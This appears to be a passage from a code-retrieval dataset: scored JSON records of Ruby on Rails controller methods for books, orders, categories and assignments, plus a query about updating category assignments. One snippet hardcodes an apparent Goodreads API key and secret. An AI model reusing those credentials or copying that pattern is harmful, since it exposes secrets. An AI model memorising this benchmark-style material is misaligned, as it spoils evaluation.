"text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"title": ""
},
{
"docid": "1b276a43a594c4c9abcdd87ac59948ee",
"score": "0.6356264",
"text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"title": ""
},
{
"docid": "1b276a43a594c4c9abcdd87ac59948ee",
"score": "0.6356264",
"text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"title": ""
},
{
"docid": "1b276a43a594c4c9abcdd87ac59948ee",
"score": "0.6356264",
"text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"title": ""
},
{
"docid": "1b276a43a594c4c9abcdd87ac59948ee",
"score": "0.6356264",
"text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end",
"title": ""
},
{
"docid": "efccd61a874d3bfc9fc076bca86a6d75",
"score": "0.6341487",
"text": "def index\n #for searching\n # @existed_books = Book.all\n # @existed_books = Book.paginate(:page => params[:page], :per_page => 20, :order => 'updated_at DESC')\n @existed_books = Book.available.paginate(:page => params[:page], :per_page => 20, :order => 'updated_at DESC')\n\n # for creating\n @book = Book.new\n #respond_to do |format|\n #format.html # index.html.erb\n #format.json { render json: @books }\n #end\n end",
"title": ""
},
{
"docid": "0832380e6050a40dbca39eafcec3d5fd",
"score": "0.63305634",
"text": "def book\n fetch('games.witcher.books')\n end",
"title": ""
},
{
"docid": "ac8355d07e1353ac36659b08db8f2002",
"score": "0.6323056",
"text": "def index\n @bookings = Booking.all\n\n render json: @bookings\n end",
"title": ""
},
{
"docid": "17b6fc22debd82176b715656f5a068a3",
"score": "0.6316251",
"text": "def show\n render json: book\n end",
"title": ""
},
{
"docid": "2fda11fe2dbe833cc8432888535dd0fa",
"score": "0.6306573",
"text": "def index\n if @bookstore\n @order_lists = @bookstore.order_lists.page(params[:page])\n else\n @order_lists = OrderList.page(params[:page])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @order_lists }\n format.rss { render layout: false }\n format.atom\n end\n end",
"title": ""
},
{
"docid": "c11298681f7cf213bcd7741df3ffbd12",
"score": "0.6303914",
"text": "def index\n @books = current_user.books\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end",
"title": ""
},
{
"docid": "9542d20703ddf184e1ee152f0d078856",
"score": "0.62855947",
"text": "def index\n\t\t@title = \"Books\"\n\n\t\trespond_to do |format|\n\t\t\tformat.html {\n\n\t\t\t} \n\t\t\tformat.json {\n\t\t\t\t@books = Book.all\n\t\t\t}\n\t\t\t\n\t\tend\n\tend",
"title": ""
},
{
"docid": "f5bc957652ce83aa0291013279c1adf7",
"score": "0.6281506",
"text": "def show\n author = @book.author\n logger.debug \"著者は#{author}です。googleBookApiを呼び出します。\"\n uri = URI.parse URI.encode \"https://www.googleapis.com/books/v1/volumes?q=#{author}\"\n json = Net::HTTP.get(uri)\n rst = JSON.parse(json)\n @abooks = []\n rst[\"items\"].each {|item|\n info = item[\"volumeInfo\"]\n sale = item[\"saleInfo\"]\n if info[\"language\"] != \"ja\" then\n logger.debug \"日本語以外の書籍のためスキップします。\\n\"\n next\n end\n title = nilCheck(info[\"title\"])\n desc = nilCheck(info[\"description\"])\n pub = nilCheck(info[\"publisher\"])\n date = nilCheck(info[\"publishedDate\"])\n page = nilCheck(info[\"pageCount\"])\n image = nilCheck(info[\"imageLinks\"], \"thumbnail\")\n price = nilCheck(sale[\"retailPrice\"], \"amount\")\n price = price == \"none\" ? price : price.to_i\n @abooks.push({\"title\" => title, \"desc\" => desc, \"pub\" => pub, \"page\" => page, \"image\" => image, \"price\" => price, \"date\" => date })\n logger.debug \"title:#{title}_____desc:#{desc}_____pub:#{pub}_____date:#{date}_____page:#{page}_____image:#{image}_____price:#{price}\\n\"\n }\n end",
"title": ""
},
{
"docid": "5c970be7388b792adbd9b51b2c3d3fee",
"score": "0.6279683",
"text": "def get_book\n @book = Book.find(params[:book_id]) \n end",
"title": ""
},
{
"docid": "ccdf0a42f2ad912c8fa25f53850a28eb",
"score": "0.6274685",
"text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @book }\n end\n end",
"title": ""
},
{
"docid": "ccdf0a42f2ad912c8fa25f53850a28eb",
"score": "0.6274685",
"text": "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @book }\n end\n end",
"title": ""
},
{
"docid": "32f1ca752959085db8c8aeb737514051",
"score": "0.62638164",
"text": "def show\n key = 'yElx2dvGSrA7utu7Gyx0Q'\n secret = '7BHgX1AqLxtL5tUu70UAFoS3KCojwnSIez7tlk2fM'\n \n client = Goodreads::Client.new(:api_key => key, :api_secret => secret)\n @book = client.book(params[:id])\n\tend",
"title": ""
},
{
"docid": "bfb8eae7f22b55eb9151ad4853168fc2",
"score": "0.62616676",
"text": "def get_books()\n return @books\n end",
"title": ""
},
{
"docid": "85c6993dd1b60b9c2cd1a92c49c7aecb",
"score": "0.6253862",
"text": "def index\n @scrapbooks = Scrapbook.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @scrapbooks }\n end\n end",
"title": ""
},
{
"docid": "0018a9a547b20cd7a770a6e2cd109f33",
"score": "0.6249915",
"text": "def orders\n get(\"orders\")\n end",
"title": ""
},
{
"docid": "17319c5fe43e19bd20ebb5019a513d37",
"score": "0.6246026",
"text": "def order_book(couple = 'BTC/USD')\n self.api_call('order_book', {}, \"get\", false, couple)\n end",
"title": ""
},
{
"docid": "3391542ed346de25a0e82e22ae4e0eec",
"score": "0.6244915",
"text": "def show\n book = Book.find_by(id: params[:id])\n\n if book\n render json: book, status: 200\n else\n render json: {error: \"Book not found\"}\n end\n end",
"title": ""
},
{
"docid": "1c0b5c1bbd5cfa2ad962e313fc69dcd2",
"score": "0.62400573",
"text": "def show\n booking = Book.find(params[:id])\n render json: booking\n end",
"title": ""
},
{
"docid": "64de668d6ea1adbf410ce5ac8b795f3e",
"score": "0.6239282",
"text": "def get_book\n @book = Book.where(id: params[:book_id]).first\n end",
"title": ""
},
{
"docid": "51e7b094700d5ec0879f873818c724e7",
"score": "0.62312096",
"text": "def add_book_api\n url =request.fullpath\n uri = URI.parse(url)\n if(uri.query.present?)\n @book = Book.new\n parameters = CGI::parse(uri.query)\n response = RestClient.get 'https://www.googleapis.com/books/v1/volumes/'+parameters['q'][0]\n @item = JSON.parse(response.body.force_encoding('UTF-8'))\n @book_test = Book.where(:google_book_id => @item[\"id\"]).first\n if(!@book_test.present?)\n Book.setup_book(@book,@item)\n if @book.save\n redirect_to edit_book_path(@book), notice: 'Le livre a bien été ajouté. Modifiez si nécessaires les derniers détails.'\n else\n render :new\n end\n else\n redirect_to :back, notice: 'Ce livre est déjà présent dans la base de données.'\n end\n\n end\n end",
"title": ""
},
{
"docid": "aab5f7faaf84eb03755f409de455fbf9",
"score": "0.62278914",
"text": "def show\n @booksale = Booksale.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @booksale }\n end\n end",
"title": ""
},
{
"docid": "34373f4bd33d9ed40691004a8d32666b",
"score": "0.62255985",
"text": "def index\n @books = @list.books\n end",
"title": ""
},
{
"docid": "b2530455bdd0ec80f5c878fbb3129145",
"score": "0.6224524",
"text": "def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index2.html.erb\n format.json { render json: @orders }\n end\n end",
"title": ""
},
{
"docid": "7106d2d46fce8463a82f3cbd9557d8e9",
"score": "0.6224245",
"text": "def show\n @book_detail = BookDetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book_detail }\n end\n end",
"title": ""
},
{
"docid": "d96e65789df2ec27a6610ba0eb68fd21",
"score": "0.6223996",
"text": "def index\n #Pagination\n #books= Book.all\n books= Book.limit(limit).offset(params[:offset])\n #Representer to format the response\n render json: BooksRepresenter.new(books).as_json\n #render json: Book.all\n end",
"title": ""
},
{
"docid": "3222ece6d00ae80f4e17ecf1523d58cf",
"score": "0.62228876",
"text": "def index\n @orders = Order.all\n\n render json: @orders, status: :found\n end",
"title": ""
},
{
"docid": "d770acde7611b31db58ad18b48b10075",
"score": "0.621835",
"text": "def show\n @user = User.find(params[:user_id])\n @book = @user.books.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @book }\n end\n end",
"title": ""
},
{
"docid": "d14fa4eae427f784183a3029b422d59c",
"score": "0.62178165",
"text": "def bible_books_helper\n res = {}\n req = Net::HTTP.get_response(URI.parse('https://getbible.net/index.php?option=com_getbible&task=bible.books&format=json&v=kjv'))\n JSON.parse(req.body[1...-2]).map{|book|\n req2 = Net::HTTP.get_response(URI.parse(\"https://getbible.net/index.php?option=com_getbible&task=bible.chapter&format=json&v=asv&nr=#{book['book_nr']}\"))\n book['chapters'] = JSON.parse(req2.body[1...-2]).count\n res[book['ref']] = book\n }\n res\n end",
"title": ""
},
{
"docid": "671444328a2292f9b521f4bdd9346f1a",
"score": "0.62158597",
"text": "def show\n @book_list = BookList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book_list }\n end\n end",
"title": ""
},
{
"docid": "1bee19e84bfccf315efb40ebd7e8c515",
"score": "0.62085515",
"text": "def show\n @authorbook = Authorbook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @authorbook }\n end\n end",
"title": ""
},
{
"docid": "4b62a803083c6274998f54f563e45e18",
"score": "0.6203074",
"text": "def index\n @provided_books = ProvidedBook.all\n end",
"title": ""
},
{
"docid": "7512ecbf2c2e364c46dfb30c16b5b845",
"score": "0.620138",
"text": "def show\n @mybook = Mybook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mybook }\n end\n end",
"title": ""
},
{
"docid": "e6c641469a388b0bb36186f915e5979d",
"score": "0.61991644",
"text": "def order(id)\n get(\"#{ROBINHOOD_ORDERS_ROUTE}#{id}/\", return_as_json: true)\n end",
"title": ""
}
] |
7aafd5f68a90377c0ab8b50974792888 | PUT /category_assignments/1 PUT /category_assignments/1.xml | [
{
"docid": "7780494d02176e9a6b627e3f5d5857d5",
"score": "0.63938344",
"text": "def update\n @category_assignment = CategoryAssignment.find(params[:id])\n\n respond_to do |format|\n if @category_assignment.update_attributes(params[:category_assignment])\n flash[:notice] = 'Category Assignment was successfully updated.'\n format.html { redirect_to(polymorphic_url([:admin, @category_assignable,\n :category_assignments])) }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end",
"title": ""
}
] | [
{
"docid": "a0583fa91962c6ab0f810092b49b36ad",
"score": "0.6391567",
"text": "def update\n @assignment = @question.assignments.find(params[:id])\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to([@question, @assignment], :notice => 'Assignent was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c6106b0d24a40aa8c77068e1d84c052f",
"score": "0.63863415",
"text": "def update\n respond_to do |format|\n if @category_assignment.update(category_assignment_params)\n format.html { redirect_to @category_assignment, notice: 'Category assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @category_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "75cb75dbb42d7c7b4e740aa382e6cd87",
"score": "0.63164437",
"text": "def update\n @class_assignments = ClassAssignments.find(params[:id])\n\n respond_to do |format|\n if @class_assignments.update_attributes(params[:class_assignments])\n flash[:notice] = 'ClassAssignments was successfully updated.'\n format.html { redirect_to(@class_assignments) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @class_assignments.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "365e345217b39c53014cafa48f830437",
"score": "0.62969744",
"text": "def set_category_assignment\n @category_assignment = CategoryAssignment.find(params[:id])\n end",
"title": ""
},
{
"docid": "c13c12c63f994a21721c7e20bc3f8471",
"score": "0.6195362",
"text": "def update\n @category = @scope.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to(@category, :notice => 'Category was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "384c786ad136033797f1b1fee0435c6b",
"score": "0.6179569",
"text": "def update\n @assignment = Assignment.find(params[:id])\n @task = @assignment.assignable\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment]) &&\n @task.update_attributes(params[:task])\n flash[:notice] = 'Assignment was successfully updated.'\n format.html { redirect_to(@assignment) }\n format.xml { head :ok }\n else\n flash[:notice] = 'Assignment/Task not updated.'\n @statuses = Status.find(:all, :order => \"name ASC\").map do |s|\n [s.name, s.id]\n end\n @categories = Category.find(:all, :order => \"name ASC\").map do |c|\n [c.name, c.id]\n end\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bc272f94b3bab56ed0d8dfd755cce4fe",
"score": "0.614211",
"text": "def update\n @assignment = @course.assignments.find(params[:id])\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to course_assignments_url(@course), notice: 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7ae060d002d1074d57a841a5d48c9d7",
"score": "0.6140732",
"text": "def update\n @assignment = Salesforce::Assignment.find(params[:id])\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to(@assignment, :notice => 'Salesforce::Assignment was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "93a5ccb51117c09834279eaf3fb54334",
"score": "0.603855",
"text": "def update\n @node_category = NodeCategory.find(params[:id])\n\n respond_to do |format|\n if @node_category.update_attributes(params[:node_category])\n format.html { redirect_to @node_category, notice: 'Node category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @node_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b773d5f36d3fa3c77ff5b1f3ca45af82",
"score": "0.6019457",
"text": "def test_should_update_assignment\n put :update, :id => assignments(:one).id, :assignment => { }\n assert_redirected_to \"/sidebar_links/homepage_index\"\n end",
"title": ""
},
{
"docid": "afc4382592deef667f59cf650b1bed46",
"score": "0.5981289",
"text": "def update\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n flash[:notice] = 'Assignment was successfully updated.'\n format.html { redirect_to(@assignment) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e3f30dff3ab85aae1768361a7ee8516e",
"score": "0.5980494",
"text": "def update\n @project_task_category_assignment = ProjectTaskCategoryAssignment.find(params[:id])\n\n respond_to do |format|\n if @project_task_category_assignment.update_attributes(params[:project_task_category_assignment])\n format.html { redirect_to @project_task_category_assignment, notice: 'Project Task Category Assignment was successfully updated.' }\n format.json { render json: @project_task_category_assignment.to_json(:include => [:project, :task_category]) }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project_task_category_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f4d71e960e39259e12d0984f6d7524a0",
"score": "0.59786475",
"text": "def update\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to(@assignment, :notice => 'Assignment was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "863602a84ab1b9f281218381fcdcfcc1",
"score": "0.5976824",
"text": "def update \n \n respond_to do |format|\n if StudentAssignments.update(params[:id], :data => params[:data] )\n format.xml { head :ok }\n else\n format.xml { render :xml => @student_assignments.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ae942f32c9255547cb97687c17a676e0",
"score": "0.5960709",
"text": "def update\n @task_category = TaskCategory.find(params[:id])\n\n respond_to do |format|\n if @task_category.update_attributes(params[:task_category])\n flash[:notice] = 'TaskCategory was successfully updated.'\n format.html { redirect_to(@task_category) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task_category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cdb714b20744269aab07c423ee3b3fe7",
"score": "0.59458876",
"text": "def update\n @assignment = Assignment.find(params[:id])\n if @assignment.update_attributes(params[:assignment])\n redirect_to \"/assignments\"\n else\n respond_with @assignment.errors\n end\n end",
"title": ""
},
{
"docid": "3e19b732887b744bf37af3798aa2300d",
"score": "0.59196246",
"text": "def update\n if params[:category_id].empty? \n @resource.category_id = 1\n else\n @resource.category_id = params[:category_id]\n end\n respond_to do |format|\n if @resource.update(resource_params)\n format.html { redirect_to @resource, notice: 'Resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @resource }\n else\n format.html { render :edit }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26f21de6bdf9cdd6e1817850cc203783",
"score": "0.58922225",
"text": "def index\n @category_assignments = CategoryAssignment.all\n end",
"title": ""
},
{
"docid": "14429bec2bd09b1369c5a3c37a75884f",
"score": "0.58879113",
"text": "def index\n @category_assignments = @category_assignable.category_assignments\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"title": ""
},
{
"docid": "04aaede609aca1a8111e5cec8cd41e98",
"score": "0.58741087",
"text": "def update\n @assignment = @user.assignments.find(params[:id])\n \n if params[:tag]\n if params[:untag]\n @assignment.untag(params[:tag][:id])\n else \n @assignment.tag(params[:tag][:id])\n end\n end\n \n @assignment.add_to_goal(params[:goal_id]) unless params[:goal_id].blank?\n \n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to [@user, @assignment], notice: 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d2bfe837bfbbfe02c322d6d69cb88623",
"score": "0.58542925",
"text": "def update\n params[:category].try(:delete, :name)\n @category = Category.find(params[:id])\n @category.update_attributes(params[:category])\n respond_with @category, :location => categories_path\n end",
"title": ""
},
{
"docid": "ff6334ba896161cdb90743abafe349de",
"score": "0.5849536",
"text": "def update\n @category.update(category_params)\n end",
"title": ""
},
{
"docid": "9cb98aa123b6723e1c42272223893a41",
"score": "0.5836523",
"text": "def update\n #raise params.each.inspect\n\n @category = Category.find(params[:id])\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "96fb7fe8c1fb727fc38e3a96813be6b4",
"score": "0.5827552",
"text": "def update\n @category = Category.find(params[:id])\n @category.update_attributes(params[:category])\n end",
"title": ""
},
{
"docid": "335e6a4104ec5046b9a9be6a8b8b1bb8",
"score": "0.5826937",
"text": "def update\n @categories = Category.all.map{|c| [ c.name, c.id ] }\n @article.category_id = params[:category_id]\n\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article } #, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0807f67d1adb93c9ceb2f37c457ec7b7",
"score": "0.5821847",
"text": "def category_assignment_params\n params.require(:category_assignment).permit(:tagID, :categoryID)\n end",
"title": ""
},
{
"docid": "5f7cdff2f53a7c414f4af5252ad9bc94",
"score": "0.58079493",
"text": "def update\n @home_indices_category = Home::Indices::Category.find(params[:id])\n\n respond_to do |format|\n if @home_indices_category.update_attributes(params[:home_indices_category])\n format.html { redirect_to @home_indices_category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @home_indices_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e0176245a76fd1dd7e35659b6f051a9d",
"score": "0.5791848",
"text": "def update\n @category = Category.find(params[:id])\n \n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to(@category, :notice => 'Category was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "116eaab1461a2a074b72715a7043ce93",
"score": "0.57887936",
"text": "def update\n @categories_task = CategoriesTask.find(params[:id])\n\n respond_to do |format|\n if @categories_task.update_attributes(params[:categories_task])\n format.html { redirect_to @categories_task, notice: 'Categories task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @categories_task.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ceffb49de5d7c9703130a58ca6c0eb32",
"score": "0.57879335",
"text": "def update\n @need_category = NeedCategory.find(params[:id])\n\n respond_to do |format|\n if @need_category.update_attributes(params[:need_category])\n format.html { redirect_to(@need_category, :notice => 'Need category was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @need_category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "92b5fbfad8bc026c90f508dc84576ccb",
"score": "0.57838583",
"text": "def update\n @rack_node_assignment = RackNodeAssignment.find(params[:id])\n\n respond_to do |format|\n if @rack_node_assignment.update_attributes(params[:rack_node_assignment])\n flash[:notice] = 'RackNodeAssignment was successfully updated.'\n format.html { redirect_to rack_node_assignment_url(@rack_node_assignment) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @rack_node_assignment.errors.to_xml, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "42d64880b0c8a7192b3ec4af45b65e91",
"score": "0.5776347",
"text": "def set_assignments\n @course = Course.find(params[:course_id])\n end",
"title": ""
},
{
"docid": "e8e9684a49a111fe5643cdb2d6a1cb3e",
"score": "0.577488",
"text": "def update\n @category = Category.find(params[:id])\n @category.update_attributes(params[:category])\n respond_with(@category)\n end",
"title": ""
},
{
"docid": "1304080af9c38df8c619bff01aebe39f",
"score": "0.5772186",
"text": "def update\n @task_category = TaskCategory.find(params[:id])\n\n respond_to do |format|\n if @task_category.update_attributes(params[:task_category])\n format.html { redirect_to @task_category, notice: 'Task Category was successfully updated.' }\n format.json { render json: @task_category.to_json }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5e1814a9b8990784c38a80d93839818f",
"score": "0.57707876",
"text": "def update\n if @category.update(category_params)\n respond_to_save_success(@category, [:categories])\n else\n respond_to_save_failure(:edit, @category)\n end\n end",
"title": ""
},
{
"docid": "b1722693e6d030d15e41f2b111fc9922",
"score": "0.5761247",
"text": "def update\n @announce = Announce.find(params[:id])\n\n\n respond_to do |format|\n \tparams[:announce][:category_ids] ||= []\n if @announce.update_attributes(params[:announce])\n format.html { redirect_to([:admin,@announce], :notice => 'Announce was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @announce.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a8054a4a0e7e3d8c171b8cfb1365ee1a",
"score": "0.5760551",
"text": "def update\n authorize @category\n if @category.update(category_params)\n ok_status\n else\n error_status\n end\n end",
"title": ""
},
{
"docid": "ecc90549213f1fabd432dbccb479f9c7",
"score": "0.5747637",
"text": "def update\n @client_assignment = ClientAssignment.find(params[:id])\n\n respond_to do |format|\n if @client_assignment.update_attributes(params[:client_assignment])\n flash[:notice] = 'ClientAssignment was successfully updated.'\n format.html { redirect_to(@client_assignment) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @client_assignment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "50a5e3d611f64b34d6531844d6c3552c",
"score": "0.57445574",
"text": "def update\r\n @category = Category.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @category.update_attributes(params[:category])\r\n format.html { redirect_to(@category, :notice => 'Category was successfully updated.') }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "52070881de5c865538cf5a597231bed3",
"score": "0.5740479",
"text": "def update\n @category.update_attributes(category_params)\n end",
"title": ""
},
{
"docid": "31e1082f5db014a366f3e69d775bb944",
"score": "0.57357043",
"text": "def update\n respond_to do |format|\n if @category.update_attributes(params[:category])\n flash[:notice] = 'Category was successfully updated.'\n format.html { redirect_to(@category) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "46d604284b623c5495163f9bfe008d27",
"score": "0.57340413",
"text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to(@category, :notice => 'Category was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "46d604284b623c5495163f9bfe008d27",
"score": "0.57340413",
"text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to(@category, :notice => 'Category was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25ad10cfb49d8f85d40716312c7ce111",
"score": "0.5732286",
"text": "def update\n begin\n ActiveRecord::Base.transaction do\n @data[:instructors] = @instructors if params.require(:assignment).has_key?(:instructors)\n @assignment.update!(@data)\n @assignment.reindex_associations\n respond_with_success show_assignment_path(@assignment)\n end\n rescue => e\n respond_with_error \"There was an error updating the assignment entry.\",\n 'edit', true, false\n end \n end",
"title": ""
},
{
"docid": "9c5d772ca72175bcc586ed94b64b4b21",
"score": "0.57292455",
"text": "def update\n @category = Category.find_by_url_name!(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n flash[:notice] = 'Category was successfully updated.'\n format.html { render :action => \"index\" }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b66985d1d30a5e06fd4966339ce6fd84",
"score": "0.57241696",
"text": "def update\n @category = Projects::Category.find(params[:id])\n @category.update_attributes(params[:category])\n respond_with(@category) do |format|\n format.html {\n if @category.valid?\n redirect_to admin_projects_categories_path\n else\n render action: :edit\n end\n }\n end\n end",
"title": ""
},
{
"docid": "19ecce6e6e06f2b2bbf58a68887b3b62",
"score": "0.5722873",
"text": "def update\n @article_category = ArticleCategory.find(params[:id])\n\n respond_to do |format|\n if @article_category.update_attributes(params[:article_category])\n format.html { redirect_to(@article_category, :notice => 'Article category was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @article_category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6ce46ac39e0fc0f32ed811a302181af1",
"score": "0.5719922",
"text": "def update\n @classification = Classification.find(params[:id])\n\n respond_to do |format|\n if @classification.update_attributes(params[:classification])\n format.html { redirect_to(@classification, :notice => 'Classification was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @classification.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "80f55b39a75be49efcfcd4017ce9d4d0",
"score": "0.5718671",
"text": "def update\n @menu = \"category\"\n @board = \"category\"\n @section = \"edit\"\n \n @category = Category.get(params[:id])\n \n @category.name = params[:category][:name]\n @category.priority = params[:category][:priority].to_i\n \n if @category.save\n redirect_to (admin_category_url)\n else\n render 'category'\n end\n\n end",
"title": ""
},
{
"docid": "80f55b39a75be49efcfcd4017ce9d4d0",
"score": "0.5718671",
"text": "def update\n @menu = \"category\"\n @board = \"category\"\n @section = \"edit\"\n \n @category = Category.get(params[:id])\n \n @category.name = params[:category][:name]\n @category.priority = params[:category][:priority].to_i\n \n if @category.save\n redirect_to (admin_category_url)\n else\n render 'category'\n end\n\n end",
"title": ""
},
{
"docid": "caef06c6f57079e61e9df3c8739e154e",
"score": "0.57141244",
